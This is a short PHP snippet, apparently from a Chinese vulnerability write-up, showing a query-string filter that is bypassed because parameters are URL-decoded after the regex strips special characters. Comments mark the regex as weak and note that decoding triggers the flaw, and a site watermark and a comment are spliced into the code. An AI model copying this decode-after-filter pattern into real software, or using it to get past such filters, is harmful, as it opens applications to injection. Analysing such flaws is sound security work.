$QUERY = preg_replace("/[\\\:\*\?\"\'<>\~\(\)\[\]\{\}\s\$]/",'',$_SERVER['QUERY_STRING']);
//这个正则不严谨呀!!!!冏$QUERY = explode('/',$QUERY);
foreach ($QUERY as $key => $value){
       $sGET[substr($value,0,1)] = substr(trim($value),1);
} www.2cto.com
if (!empty($sGET['w'])) $sGET['w'] = urldecode($sGET['w']);  解码后成功触发
Lang(); sFile();
